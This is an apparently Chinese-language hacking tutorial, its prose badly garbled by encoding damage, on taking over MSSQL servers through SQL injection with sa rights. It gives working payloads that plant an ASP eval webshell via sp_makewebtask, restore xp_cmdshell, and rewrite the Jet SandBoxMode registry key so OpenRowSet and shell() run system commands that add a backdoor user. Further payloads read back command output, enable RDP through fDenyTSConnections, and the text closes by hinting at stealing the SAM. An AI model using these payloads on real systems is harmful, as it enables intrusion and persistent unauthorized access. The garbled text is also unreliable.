http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏跺疄1433寮卞彛浠よ窡娉ㄥ叆闈炲父鐩鎬技,姣斿浣?433涓婃湁WEB鏈嶅姟浣犱篃鍙互鐢ㄦ煡璇㈣鍙ユ妸鐢ㄦ埛鍚嶅拰瀵嗙爜鎵懼嚭鏉ヨ繘鍚庡彴浼犻┈.鎬濊礬鏄潪甯稿鐨?浣嗘槸鐪嬩綘鎬庝箞浣跨敤浜?
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) MSSQL鐨勫姛鑳介潪甯稿己澶?鎵浠ュ嚑涔庢病鏈夊畠鍔炰笉鍒扮殑浜?鎵╁睍鍌ㄥ瓨娌″垹闄ゆ儏鍐典笅~鑰屼笖SA鏉冮檺娌¤闄嶄負(fù)USERS鐢ㄦ埛鍚姩).浣嗘槸浣嗘槸涓囦竴浜哄鎶奀MD緇欎綘 鍒犻櫎浜?鎭㈠涔熸仮澶嶄笉浜?jiǎn)鐨勬椂鍊欏張璇ユ庝箞鍔炲憿?濡傛灉鎴戜滑娌℃湁CMDSHELL,鍙堟病寮3389,閭d箞SA鏉冮檺鐪嬭搗鏉ュ氨璞℃槸楦¤倠~
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏充簬鍦⊿QL榪炴帴鍣ㄤ笂鏌ョ湅鐩綍鐨勬柟寮?/font>
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exec xp_dirtree '(鐩綍鍚?姣斿c:\)',1,1
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鎵ц鍚庡氨浼?xì)杩斿洖鐩爣鏈哄櫒鎸囧畾鐩綍涓嬬殑鏂囦欢澶瑰拰鏂囦?閭d箞閫氳繃榪欎釜浣犲氨鍙互鍒楃洰褰曚簡(jiǎn)
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 榪欎釜鎵╁睍鍌ㄥ瓨鐨勮鏄庡湪娉ㄥ叆璇彞闆嗗悎閲岄潰鏈?榪欓噷灝辯暐榪?/font>
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exec xp_regread/exec xp_regwrite 娉ㄥ唽琛ㄦ搷浣滅殑鎵╁睍鍌ㄥ瓨
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 涓嬮潰寮曠敤鍟奃娉ㄥ叆璇彞閲岄潰鐨勪緥瀛?/font>
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鍐欐敞鍐岃〃
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
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璇繪敞鍐岃〃
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 濡傛灉CMDSHELL鐢ㄤ笉浜?jiǎn)鐨勬椂鍊?鎴戜滑鏉ヨ瘯鐫鎭㈠涓婥MD
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聽(tīng)聽(tīng)聽(tīng) exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
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聽(tīng)聽(tīng)聽(tīng) 鐒跺悗鎵цCMD鍛戒護(hù),濡傛灉榪樻槸涓嶈鐨勮瘽,鍞墌~閭f病鍔炴硶浜?鍛靛懙,涓浼?xì)璁插?鍛靛懙~~~緇х畫寰涓嬬湅鍚
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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鏉?鎴戜滑鏉ユ彁涓涓嬩紶璇翠腑鐨勬矙鐩掓ā寮忔彁鏉?
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涓嶆槸鍒嗗壊綰?/font>
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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛鎴戝湪<Jet寮曟搸鍙互璋冪敤VBA鐨剆hell()鍑芥暟>(http://support.microsoft.com/kb /q239104/)榪欎喚璧勬枡鐭ラ亾鍦╝ccessl閲屽彲浠ョ洿鎺ヨ繘琛宻ql鏌ヨ,鍏蜂綋鐨勫湪Access涓祴璇?嫻嬭瘯鐨凷QL璇彞濡備笅:
SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');
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鏌ョ湅璁$畻鏈虹鐞嗙殑鏈湴鐢ㄦ埛,椹笂鍙戠幇澶氬嚭涓涓猺ay鐢ㄦ埛,璇存槑璇彞鎴愬姛鎵ц浜?鎺ヤ笅鏉ュ啓涓涓猇BS鑴氭湰浠繪剰榪炴帴涓涓猰db鏉ユ祴璇曡繖涓猄QL璇彞
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
榪愯鍚庝細(xì)鍑虹幇"琛ㄨ揪寮忎腑鐨?Shell'鍑芥暟鏈?
瀹氫箟"鐨勯敊璇?<Jet寮曟搸鍙互璋冪敤VBA鐨?
shell()鍑芥暟>鎻愬埌WINDOWS鍦↗et寮曟搸涓緗簡(jiǎn)涓涓悕涓篠andBoxMode鐨勫紑鍏?瀹冪殑娉ㄥ唽琛ㄤ綅緗湪
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode閲?0涓哄湪浠諱綍鎵
鏈夎呬腑涓兘紱佹璧風(fēng)敤瀹夊叏璁劇疆,1涓轟粎鍦ㄥ厑璁哥殑鑼冨洿涔嬪唴,2鍒欐槸蹇呴』鏄疉ccess鐨勬ā寮忎笅,3鍒欐槸瀹屽叏寮鍚畨鍏ㄨ緗?榛樿鎯呭喌涓嬩負(fù)2,鍙兘鍦ˋccess
鐨勬ā寮忎笅璋冪敤VBA鐨剆hell()鍑芥暟,鎴戜滑灝濊瘯灝嗘娉ㄥ唽琛ㄥ兼敼涓?,緇撴灉鎴愬姛鐨勮繍琛屼簡(jiǎn)VBS鍒╃敤Jet寮曟搸鍙互璋冪敤VBA鐨剆hell()鍑芥暟鎵ц浜?
緋葷粺鍛戒護(hù).
閫氬父涓鍙癕SSQL鏈嶅姟鍣ㄥ悓鏃舵敮鎸丄ccess鏁版嵁搴?鎵浠ュ彧瑕佹湁涓涓猻a鎴栬卍bowner鐨勮繛鎺?灝辨弧瓚充簡(jiǎn)淇敼娉ㄥ唽琛ㄧ殑鏉′歡,鍥犱負(fù)MSSQL鏈変竴涓悕涓簒p_regwrite鐨勬墿灞?瀹冪殑浣滅敤鏄慨鏀規(guī)敞鍐岃〃鐨勫?璇硶濡備笅
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
濡傛灉瀛樺湪涓涓猻a鎴栬卍bowner鐨勮繛鎺ョ殑SQL娉ㄥ叆鐐?灝卞彲浠ユ瀯閫犲嚭濡備笅娉ㄥ叆璇彞
InjectionURL;EXEC
master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
閭f垜浠皢SandBoxMode寮鍏崇殑娉ㄥ唽琛ㄥ間慨鏀逛負(fù)0灝辨垚鍔?
浜?鎺ョ潃榪炴帴鍒頒竴涓狝ccess鏁版嵁搴撲腑,灝卞彲浠ユ墽琛岀郴緇熷懡浠?褰撶劧鎵ц緋葷粺鍛戒護(hù)鎴戜滑鍙渶瑕佷竴涓狝ccess鏁版嵁搴撶浉鍏砈elect鐨勬敞鍏ョ偣鎴栬呯洿鎺ョ敤
ASP鏂囦歡Select璋冪敤榪欎釜VBA鐨?
shell()鍑芥暟,浣嗘槸瀹為檯涓奙SSQL鏈変竴涓殑OpenRowSet鍑芥暟,瀹冪殑浣滅敤鏄墦寮涓涓壒孌婄殑鏁版嵁搴撴垨鑰呰繛鎺ュ埌鍙︿竴涓暟鎹簱涔嬩腑.褰撴垜浠湁涓涓?
SA鏉冮檺榪炴帴鐨勬椂鍊?灝卞彲浠ュ仛鍒版墦寮Jet寮曟搸榪炴帴鍒頒竴涓狝ccess鏁版嵁搴?鍚屾椂鎴戜滑鎼滅儲(chǔ)緋葷粺鏂囦歡浼?xì)鍙戠幇windows緋葷粺鐩綍涓嬫湰韜氨瀛樺湪涓や釜
Access鏁版嵁搴?浣嶇疆鍦?windir%\system32\ias\ias.mdb鎴栬?windir%\system32\ias\
dnary.mdb,榪欐牱涓鏉ユ垜浠張鍙互鍒╃敤OpenRowSet鍑芥暟鏋勯犲嚭濡備笅娉ㄥ叆璇彞:
InjectionURL';Select *
From
OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select
shell("net user ray 123 /ad")');--
濡傛灉浣犺寰椾笉澶уソ鎳傜殑璇濓紝鎴戝彲浠ョ粰浣犲仛涓涓畝鍖栫殑鐞嗚В錛?br />1錛孉ccess鍙互璋冪敤VBS鐨勫嚱鏁幫紝浠ystem鏉冮檺鎵ц浠繪剰鍛戒護(hù)
2錛孉ccess鎵ц榪欎釜鍛戒護(hù)鏄湁鏉′歡鐨勶紝闇瑕佷竴涓紑鍏寵鎵撳紑
3錛岃繖涓紑鍏沖湪娉ㄥ唽琛ㄩ噷
4錛孲A鏄湁鏉冮檺鍐欐敞鍐岃〃鐨?br />5錛岀敤SA鍐欐敞鍐岃〃鐨勬潈闄愭墦寮閭d釜寮鍏?br />6錛岃皟鐢ˋccess閲岀殑鎵ц鍛戒護(hù)鏂規(guī)硶錛屼互system鏉冮檺鎵ц浠繪剰鍛戒護(hù)
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涓嶆槸鍒嗗壊綰?
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鐪嬪畬浜?jiǎn)鍚杈涜嫤浜?jiǎn)~鍛靛懙,鍛靛懙,鐩存帴鎶婂師鏂囪創(chuàng)鍑烘潵浜?鎴戝ソ鎳掑晩鎴憕鍘熺悊灝辨槸涓婇潰璇寸殑閭d釜
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) CMD涓嶆槸鍒犻櫎浜?jiǎn)涔?鍢垮樋~鎴戜滑鐢ㄥ垰鍒氳鐨勬柟娉曟潵鎵ц,鍏蜂綋濡備笅
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棣栧厛鎵ц
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exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1
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鍛靛懙~鎶婃敞鍐岃〃鏀逛簡(jiǎn)~
涓嶆斁蹇?jī)鐨勮瘽鎴戜滑鏉ヨ璇荤湅~
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exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'
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濡傛灉榪斿洖鐨勫兼槸1鐨勮瘽璇佹槑鍛戒護(hù)鎴愬姛浜?
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閭d箞鎴戜滑灝卞彲浠ョ敤SYSTEM鍑芥暟鏉ユ墽琛屽懡浠や簡(jiǎn) 涓嬮潰緇欏嚭鎵ц鍛戒護(hù)璇彞
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select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c query user >c:\windows\11.txt")');
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綰㈣壊瀛椾綋鐨勬槸鎴戞墽琛岀殑鍛戒護(hù),>c:\windows \11.txt鐨勬剰鎬濇槸鎶婂洖鏄懼懡浠ゅ鍏ュ埌windows鐨勬枃浠跺す涓嬬殑1.txt,涓浼?xì)瑕佺敤鍒扮?榛戣壊瀛椾綋鏄垜浠暟鎹簱鐨勮礬寰?鐗瑰埆闇瑕佹敞鎰忕殑鏄鏋滄槸 windows2000 閭d箞鐏拌壊閮ㄥ垎灝卞簲璇ユ槸c:\winnt\system32\ias\ias.mdb聽(tīng)
濡傛灉鏄痺indows2003鐨勮瘽灝辨槸c:\windows\system32\ias\ias.mdb
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鍚庤竟涔熸槸涓鏍鋒儏鍐?win2003鏄痺indows鐩綍鑰?000鏄痺innt鐩綍
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鎵ц鍛戒護(hù)鐨勬椂鍊欐槸涓嶆槸蹇?jī)閲岄潰寰堟病搴曞?鑰屼笖鏈変簺鍛戒護(hù)姣斿NETSTAT涔嬬被鐨勬槸闇瑕佹煡鐪嬪洖鏄劇殑,閭d箞鎬庝箞鎵嶈兘寰楀埌鍥炴樉鍛~~鍢垮樋~~鏃犵枒MSSQL鑲畾涓烘垜浠彁渚涗簡(jiǎn)璇誨彇鏂囦歡鍐呭鐨勫姛鑳芥搷浣?
閭d箞鎴戜滑灝辨潵鐪嬬湅鎬庝箞鎿嶄綔鐨勫惂~~鍛靛懙
鎿嶄綔濡備笅
select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')
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鐏拌壊閮ㄥ垎鏄枃浠舵墍鍦ㄧ洰褰?鑰岀孩鑹叉槸鏂囦歡鍚?
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姣斿鎴戞兂璇籇:\WWW\XXX\鐩綍涓嬬殑A.ASP鏂囦歡,閭d箞璇彞濡備笅
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select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')
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榪樿寰楁垜鍒氬垰鎶婂懡浠ゅ洖鏄懼鍑虹殑姝ラ鍚?鎴戜滑灝辯敤涓婇潰榪欎釜鎿嶄綔鏉ヨ鍙朤XT鍐呭灝卞彲浠ュ緱鍒版垜浠殑CMD鎵ц鍛戒護(hù)鍥炴樉浜?寰堝ソ鐜╁惂~鍛靛懙聽(tīng)聽(tīng)
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榪欏氨鏄垜楗惰繃CMDSHELL鏉ユ墽琛屽懡浠ょ殑涓鐐瑰績(jī)寰?鍛靛懙聽(tīng) 鎴戜滑鎺ヤ笅鏉ヨ璇?389鐨勯棶棰?
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涓浜涘叧浜?389緇堢鐨勪俊鎭?
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏跺疄鍦℉KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp涓嬬殑PortNumber閿?鍜?
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp涓嬬殑PortNumber閿?
璁板綍鐫3389鐨勭鍙e彿 濡傛灉鎯蟲敼榪炴帴绔彛鍙風(fēng)殑璇濈洿鎺ョ敤xp_regwrite淇敼瀵瑰簲鐨勯敭鍊煎氨O(jiān)K浜?jiǎn)~鍛靛懙
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 閭d箞鎺ヤ笅鏉ヨ璇存渶鍏抽敭鐨勯棶棰?鍦ㄦ敞鍐岃〃涓嬪瓨鍦ㄤ竴涓喅瀹?389寮鍚笌鍚︾殑閿?閿間綅緗涓?
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server涓嬬殑fDenyTSConnections
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鍏跺兼槸0琛ㄧず寮鍚?1琛ㄧず鍏抽棴,鎴戜滑鐩存帴鐢╔P_REGWRITE鎶婂間慨鏀瑰氨濂戒簡(jiǎn)~~
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璇彞濡備笅
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exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0
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浣犱滑涓嶆斁蹇?jī)鍙互鐢╔P_REGREAD紜
鍏蜂綋璇彞涓嶅啓浜?澶у鐜板鐜板崠鍚?鍛靛懙~~
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濂戒簡(jiǎn),鏈鍚庤榪囨垜娌″疄璺佃繃鐨勬濊礬,鐞嗚涓婂彲琛屽惂,鍛靛懙
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褰撲綘鐨勬矙鐩掓ā寮忎篃涓嶈兘鐢ㄧ殑鏃跺欓偅涔?鍢垮樋聽(tīng)聽(tīng) ^-^
鎴戜滑璧風(fēng)爜榪樻槸鑳戒粠鐩爣鏈哄櫒涓婃嬁鐐逛粈涔堜笢瑗跨殑鍢?姣斿璇碨AM鍟妦鍛靛懙
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